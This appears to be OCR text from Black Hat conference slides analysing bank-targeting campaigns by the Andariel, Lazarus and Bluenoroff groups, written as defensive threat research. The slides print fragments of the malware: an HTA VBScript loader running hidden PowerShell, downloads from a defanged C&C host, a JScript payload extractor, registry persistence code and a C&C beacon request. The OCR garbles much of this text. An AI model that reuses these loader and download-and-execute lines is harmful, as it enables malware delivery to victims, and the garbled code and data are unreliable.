content="text /html; charset=utf-8" http-equiv="Content-Type" />
:>Bonjour</ >
language="VBScript">
Set owFrCINegil = CreateObject("Wscript.Shell")
Set viymUkaljYF - CreateObject("Scripting.FileSystemObject™) $c=new-object System.Net.WebClient

basebd decode hta script

. . . . . : $t =$env:temp
If viymUkaljYF.FileFxists(owFrClN@gil.ExpandEnvironmentStrings("%PSModulePa

owFrClN8gil.Run 'powershell -nop -windowstyle hidden -executionpolicy bypa $t1-$t+"\\alitmp@131.j
ATgBLAHQALgBXAGUAY gBDAGWAaQB LAGAAdAAKAACATABBACAAPQAKAGUAbgB2AD0AdABIAGRAC
wAGcATgAgAACACQAKAAKATABBADIAPQAKAHQAK WAL AFWAXABhAGWAQBOAGBAC AAWADE AMwAy Al
AMwAZACAAagBzACIAIAAKAAKACEATAHQACgBSACAACEATAAOACOB7ACAACEAIAACACOBIAGMAS $t3=$t+"\\alitmp@133.j
mAGBAbWBKAGYAbwByAHUAL gBoAGUAbABpAGSAaABVAHMAJAAUAGSACEBNACBAY gBsAGBAZwAVA|
AbABVAGEAZABGAGKAbABIACEAIAAIAGEAdABOAHAADgAVACBAZgBVAGBAZABmAGBACgB1ACAAa toy
jAGsAdQBWACAAagBwAGCATgAsACQAdAAYACKATAAKAAKACEATACQAY wAUAEQAbWB3AGAAbABVA ¢

AaQBvAGgAbwBZzAHQAL gBVAHIAZwWAVAGIAbABVAGCAL wBhAHAAYQB JAGEAZQAUAGKACABWACIAL
AHQAMWAPACAACEAIAACACQB3AHMAYWBY AGKACABOACAAZQBAAGUATAAKAHQAMWAZAACACQAK echo $c.DownloadFile( "hxxp://foodforu.heliohost.org/blog/apache. jpg”, $t1)
owFrClNGgil.Run "cmd fc echo VSM3XkpINmZWXjdjUzg3ZUpGM2dVOCIhPVA/ZINCL14=>%
End If

Self.Close B 64 d d $c.DownloadFile( “hxxp://foodforu.helichost.org/blog/apache.ipp",$t3)
\ dSe ecoqge

wscript.exe $t3

$t2=$t+"\\alitmpe132.

$c.DownloadFile( "hxxp://foodforu.heliohost.org/blog/apache backup.jpg",$t2)

id="oHTA" 1
applicationname="Bonjour"
application="yes"




Campaign targeted Egypt bank and SK banks — Javascript

 The IPP file contains encoded
VBScript to extract payload from
fake JPG files and save as:

* Windows-KB275122-x86.exe (trojan
downloader)

* Windows-KB271854-x86.exe (Milk
loader)

myStr - "BR4egvodujpo&39b&3:8&8csfuvsol31ofx&31BdujwfYPckfdul39b&3:88e84c&1ef1b&1el1bC&4egvo
bt&4=B&32& EPEC&3fTusTbn&3383:84c&1e&1bt284eB&39&33BEPECR3fTusfbn&3383:84cR1e&1b&1e&1bd844
fouTusjoht 33836ufng&36 83:84c&1el1bu2B4eul3c&3I3R6dR6dE3383cc284cR1e81bu38eul3cc384ck
:8Ac&1e&1b&1:81e81bt28&3TNpefl4edlAcl1e&1bt 283 fUzqTR&4e284c&1e81bt2&3TPqfo&3983:84c&1el1bR 1
c&1el1bB1e&1bt283FXsjuT&3IGtE31SThbel3 :84c&1eB1bt2&3FThwfUpGimT&39u38&3d38&3: &4cR1e81b&1eR1bd8A4
fouTusjoht&39833&36ufng&36 &3:84c&1el1bd Svo&39u3&31R83cR318338318&3 &3c&31c483dR&31183
e&1ef1b&Bel1eR1bDB4egvoduijpo&39c283dc3&3dc483dc58&3dch83 :R1eB1b&Bc&1e&1b&1281busz&1e&1b&8c&14
C&3fTusfbn& 3:84c&1e&1b&1e&1bd&4eB&39&33XTds jqui3Ttifmm&3383 : R4c&1e&1bulded&3fFygboeFow]sy
6d&338&3cc2B4c81el1bu3&4eul3cc3BAc81eklbt&3TNpefldedidc&le8lbti&3fUzgfR4e284cR1e&1bt&3TPgfol3
81bt2&3fPgfol3983:84cl1e&1b&1eR1bt&3TMpbeGspnGimT&39u283:84cR1e&1bt&3TQptjujpo&31&4e&31c584
T&39u38&3d3 RAc&1e&1bTmfTg&3921183:&4c&1e81bdi&3TSvo&39u383183ch318&33R3183383183c&31c483d8R3
1b&8el1ef1b&Belk1e&1bC&39&33bmjunq1242&3Fkgh&3383d&31&3386dR6dXjoepxt&3el C38724483ey9783f fy T4

bmjung124383ftkgh&33&3d 3386d&6dXjoepxt&3elC36284 :6383ey97R3 T Ty f&3I383dR3383383dBTH283
eh ol

(k ); k < myStr.length; k+:) eh String.fromCharCode(myStr.charCodeAt (k) 13
eval(un aps(eh))d

decode apache.ipp
Function(a) {
return new ActiveXObject(a)
function{bl, b2, b3, ba4a) {
try { s = A("ADODB.Stream") ;
s1 = A("ADODB.Stream");
c = A("WScript.shell™);
t+ = c.ExpandEnvironmentStrings("%temp®%™) ;
t1 = t “\\" + bil;
t2 = £t + b2;
s . Mode 25
s.Type T
s.0pen();
s1_Mode = 3;
s1.Type = 1;
s1.0pen();
s.LoadFromFile(t1);
s.Position = b4;
s1l.Write(s.Read);
s1.SaveToFile(t2, 2);
c = A("WScript.shell");
t = c.ExpandEnvironmentStrings("%temp®%") ;
c.Run(t2 + ™ ™ + b3, 8); } catch (e) {; }
Ffunction(bl, b2, b3, b4, b5) {
try { s = A("ADODB.Stream");
s1 = A("ADODB.Stream") ;
c = A("WScript.shell™);
t = c.ExpandEnvironmentStrings("%temp®%");

=+t + "\\" + bi; # Htemp®i\alitmpB131._jpg

£ = + b2; # Xtemp®B\\alitmpBl32.jpe
s.Mode = 3;

s.Type = 1;

s-.Open();

s1_Mode = 3;

s1_Type = 1;
s1.0pen();
s.LoadFromFile(t1);
s.Position = b4;
sl.Write(s.Read);
s1l.SaveToFile(t2, 2);

w om

C{"alitmpel31i.jpeg", "\ \Windows-KB275122-x86_exe
C("alitmpB132.jpe", "\ \Windows-KB271854-x8B6_.exe",

=

"help™, 5651);

O

5651) ;




Campaign targeted Egypt bank and SK banks — Trojan downloader

* Named Freenki Downloader by PaloAlto | v = wescmp( - L'help™):

g 1if ( )
. e 9 = -(uvt <CB) | 1y
* Need specific arguments to execute. 0 gk (o)
. . elp_command_ ;
Supporting 3 commands (script pass “help” 12 us = uesemp( . L"console");

13| if (u5 )

command to execute): s o
1

. 16 ¢
Command Descrlptlon 17 = wesemp( , L"sample™);

18 if ( )
19 = - <0y | 1;
Perform main function. Collects system information 20 if (¢ )
21 {
and beacon to C&C server. 5s - console_command_£()
23 if ( )
24 help_command_f();
25 }
console Setting up persistence in the registry 26| )
27| else
28| {
29 = console_command_f();
Perform console command function and later 300}

sample ) 21| return
perform help command function when successes. 3203

Help




Campaign targeted Egypt bank and SK banks — Trojan downloader

* Convert MAC address to hex string and use as victim ID

* Collects system information and beacon to C&C server

e Username>Computer Name>File version of kernel32.dlI>IsWow64Process() >

Ethernet MAC addresses>running processes

Report status MAC Address Encoded Victim Data

(Stream Content

POST /blog/blog_confirm.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; Trident/6.0;

SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
Host: foodforu.heliohost.org

Content-Length: 441

|Cache-Control: no-cache

Encode by SUB OF, XOR 21

1 00C29985572 OTO[OWOAO 000t0{0w0~0.0.0q0.0e0WOA0.0&0.0.0.0%0&0 0.0.0.0.0 0.0.0;0:0
qo"o'o’ 0(0#0#0%0"0 0.0c0AQY0AQ]0e0AD. 0cOAOYOAQ]0e0AD. OCOAOYOAO]OEOAO 0!

olgu
0&0. 0"0"0#0 0:0:0.0.0 0"0;0:0

{000UOWOQOtOW0a0Qo. OSOhOSQ 0:0 0b0]0Q0SOhO 0.050h0S0;0:0s0f0S0b0g0dOXOWOAQUO. 0S0h0S0;0:
0.0W0AO0Xx0S0h0.0S0h0S0;0:0 050h0 O\O]ObOSOb0.0SOhOSO;O:OWOTOOO_0.0SOhOSO;O:ﬁ_ﬂhQJLEEL___
TTP/1.1 200

AQ,0SI0h050:0:0.0W0AO0T0]0e0a0.0y0r0"0%0#0.0"0"0.0h0(0&0.050h050;0:0;0:0

OK
Date: Wed, 14 Jun 2017 06:20:37 GMT
Server: Apache

Content-Length: 0

Content-Type: text/html; charset=UTF-8

64 00
49 00
6E 00
30 00
0D 00
30 00
37 00
6F 00
6F 00
oF 00
32 00
39 00
44 00
0D 00
70 00
76 00
67 00
69 00
65 00
6F 00
0D 00
78 00
6D 00
0R 00
3E 00
32 00
65 00

Decoded Victim Data

6D 00 69 00 6E 00 3E 00 41 00 44 00

4E 00 3E 00 3E 00 43 00 3E
3E 00 36 00 3E 00 3E 00 3E

00 77 00
00 37 00

JCompiter Name .

43 00 32 00 39 Q0 39 00 38 00 3

05 version
MAG address

35 00 3E 00 3E 00 3E 00

“ﬂ@@@ﬁﬂ@ﬂo
0A 00 oF 00
3E 00 65 78 65
65 00 72 79 74
3E 00 &5 18 65
6E 00 48 65 18
0D 00 OA 00 70 65
72 00 65 72 3E 00
0A 00 69 00 o4 6l
65 00 OD 00 OR 00 3E 00
6F 00 6E 00 3E 00 &5
3E 00 69 6E 00 64
4B 00 42 32 00 37
3E 00 78 38 00 36 00
0D 00 OA 00 OD 00 0A 00

6B 00
6B 00
6B 00
3E 00
3E 00
69 00
78 00
65 00
0A 00
69 00
0A 00
65 00
70 00
78 00
3E 00
6F 00
65 00
77 00
3E 00
65 00

=1

~1

FEMOQoORD D P ;oY oS
o]
mE = % OO

| 5% Rl e e S
>.i.n.H.e.x.>.e.
LA S e
l.o.r.e.r.>.e.x.
oo o
[ R TR, s o« 8
C.Mm.0.n.>.C.X.€.
eew2.iln.d.oaw,
85 5B B. 2L 5805
2:2:2:%:8:0: 30
b



Campaign targeted Egypt bank and SK banks — Trojan downloader

* Download payload from another C&C and save in %Temp%

 The downloaded payload need argument “abai” to execute (abai
means father in Korean dialect)

%nrmat_string((int)& , [const char =)L"%4s\\/4s.exe", & . J;
sub_122B2C7();

)
sub_122B1AE(v9, 1, : )

sub_12283CT(uT7);
sub_1228496(u7);

p—
-+
Famn T | | [ 1]

- ﬂ;
_mm_storel_epiBH{(__m1281 x) , _mm_loadl_epibi4((const __ml1281 =)&abal));
ShellExecutell(®, L"open™, & : , B, 8);
- 1;
}
else

{




Campaign targeted Egypt bank and SK banks — Milk loader

* Named Milk loader because of the pdb string found in the binary
e E:\\BIG_POOH\\Project\\milk\\Release\\milk.pdb (a.k.a Poohmilk by PaloAlto)
 Sleep for 6 mins upon execute

* Look for file “wsatra.tmp” in ths %Temp% folder. (however not existed in this case)

 If found: read the file and get a path from the file. Scanning .Ink file and ZIP in the path.
Extract file from ZIP and execute

| [S] ndata0041 - 00000005 BE\m
E E ].-I:.Iatal:":l'q-]_' -------- [ ;E:IIIII'E=II:}_PI:II:IHI'|I'|P1-|:|jEI::tI'|I'|]-]-.I.'iI|:-'..I'|I'|F:. E].EE‘.EEI':'J-] -.L'il.l:-'.,_plj_.l:l
| I's] rdata0041-- EIEIEIEIEIEIEH undcee @

e o (niminin el Tni]

"

Tl R TR TR LS AT i~ ] T T e THRATT T F oy

1strcatw(&F11eName L"\\Wsatra tmp”), // %temp¥%\wsatra.tmp
vl = CreateF11ew(&F11eName 0x80000000, 1lu, 0O, 3u, Ox&80u, 0);
result = Istrcpyw(al, &::Str1ng2);
if (vl == -1 )
Feturn result;
wsatrp_file = operator new(0x400u);
memset(wsatrp_file, 0, 0x400u);
EfadFi1e(yl, wsatrp_file, Ox400u, &NumberofBytesRead, 0);




Campaign targeted Egypt bank and SK banks — Milk loader

* Launch the downloader. Create registry “Windows Update” to set
persistent of the downloader. Default command is “help”

£ 5. =g

JEHE) REG_SZ BHEFRIEE)

ab] :tmomn.exe EEG Br AR DO S herstemn 328 fmon. exe

b} Windows Update | REG_SZ "CADocuments and Settingshd dmindstratorWind ows-KE2751 22-x06 exe" help

I.ll, i!l—f\ln—'!l—lll

AR 1| = = = -
TstrcatwW(&ExistingFileName, LHwindows—KBZ?SlZZ—xSG.exe”);

v4d = GetcCurrentProcess(); _ _ _ ] _

1f ( OpenProcessToken(v4, 0x20008u, &hobject) && GetUserProfileDirectoryw(hobject, &NewF1leName

L) |1...|'|l'.-|.|||'l..._,t []

Tstrcatw(&NewF1leName, L"\\Windows-KB275122-x86.exe");
CloseHandleChobject);
wsprintfw(&ata, L"\"%s\" help", &NewFileName);
CopyFilew(&ExistingFileName, &NewFileName, 0);
RegOpenkKeyw(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\Currentversion\\Run", &hkevy);
vh = Istrlenw{(&ata);
RegsetvalueExw(hkey, L"wWindows Update", 0, 1lu, &Data, 2 * v5);
y RegCloseKey(hkey);

return 0O;




TTP & KEY FINDINGS

Some interesting facts

blgc’zk hat



TTP & Key-finding

* Delivery
* Deliver payload with spear-phishing emails.

* Infrastructure
* Frequently use compromised C&C server.

* Tools
* Many shared code between proprietary malwares.
* Open source tools in arsenal (i.e.Aryan, Xtreme RAT, Ghost RAT, FBI RAT)

* Destroy evidence and tracks with ransomware. (i.e. Taiwan Far Eastern with Hermes
Ransomware)

* Target
* Targeting SWIFT system when attack on banks.
* Launching SWIFT transaction during holiday/weekends.

* Persistent
* Penetrating target’s network and control for a long time before doing transaction.



C&C World Map




Getting new C&C server with (stolen? ransomed?) bitcoin

* Our observation shows that there are lesser compromised server been

used in the recent attacks.

* In a case we investigated, we tried to inquiry the registrant information of
an Andariel group’s C&C server from the hosting server provider.

* The hosting server provider reveals that since the server was pay with
bitcoin, they don’t have any information about the identity.

* It is a far more effective way than hacking legitimate servers and also

keeping anonymity.

Friday, Dec 1, 23:28-23:29 UTC

CoinDesk BPI: $10 747.91

Bitcoin (USD) Price ciosing price (I oH




Sample Timestamp Analysis of Andariel Group
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BLACK HAT SOUND BYTES (CONCLUSION)

* We've seen an increasing trend of nation-state actors using their cyber
espionage capabilities for financial gain.

* Lazarus, Bluenoroff and Andariel groups targeted not only banks, but also
bitcoin users/exchanges and ATM machines.

* In many cases, the attackers shows strong knowledge to the
compromised system, network environment and their targets. They
tailored their tools and develop 0 days for the targets. (They study hard
about youl!)

* It is difficult to track these threat groups only with C&C infrastructure.
Therefore, be familiar with their tools and tactic is one of the key to
defend against them. (You should study hard about them too!!!)



Q&A

Any Questions ?

}X{ ashley@hitcon.org
PX{ null@fsec.or.kr
}X{ kikwak@fsec.or.kr
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POLISH FINANCIAL SUPERVISION AUTHORITY (FROM Bluenoroff)

* Disclosed in Feb 2017, but the initial attack

was taken in as early as October 2016 Rank County Count
* Target : Polish Financial Supervision Authority B W
and more than 100 banks in Europe and many | Unied S 1
other countries (including South Korea) J Mexico :
 Attack Vector: Watering Hole attack & IP 4 Uned Kingdom !
whitelist : Chie b
. 6 Brazi )
 Malware Family : Ratankba, Destover 7 - ;
e Threat Actor : Bluenoroff ] Clotia ,
* Infected Webpage URL 1 Denmark 3
 https://www.knf.gov[.]pl/opracowania/sektor bankowy/i |I India 3

ndex.html
—— (from BAE SYSTEMS THREAT RESEARCH BLOG)



e Reference

* “Lazarus Under The Hood”, Kaspersky

* https://securelist.com/files/2017/04/Lazarus_Und
er_The_Hood_PDF_final.pdf

» Attackers target dozens of global banks with new
malware

* https://www.symantec.com/connect/blogs/attacke

POLISH FINANCIAL SUPERVISION AUTHORITY (FROM Bluenoroff)

rs-target-dozens-global-banks-new-malware-0

» Jak to byto z tym atakiem na KNF i polskie banki
oraz kto jeszcze byt na celowniku atakujgcych?
(Polish title)

e https://niebezpiecznik.pl/post/jak-
przeprowadzono-atak-na-knf-i-polskie-banki-oraz-
kto-jeszcze-byl-na-celowniku-przestepcow/

* Watering hole attacks on Polish Banks Linked to
Lazarus Group

* http://securityaffairs.co/wordpress/56235/apt/laza

rus-group-polish-bank.htmi

» Several Polish banks hacked, information stolen by
unknown attackers

* https://badcyber.com/several-polish-banks-
hacked-information-stolen-by-unknown-attackers/

LAZARUS & WATERING-HOLE ATTACKS

On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of
attacks directed at Polish financial institutions. The article is brief, but states that "This is — by far — the
most serious information security incident we have seen in Poland” followed by a claim that over 20
commercial banks had been confirmed as victims.

This report provides an outline of the attacks based on what was shared in the article, and our own
additional findings.

ANALYSIS

As stated in the blog, the attacks are suspected of originating from the website of the Polish

Financial Supervision Authority (knf.gov[.]pl), shown below:
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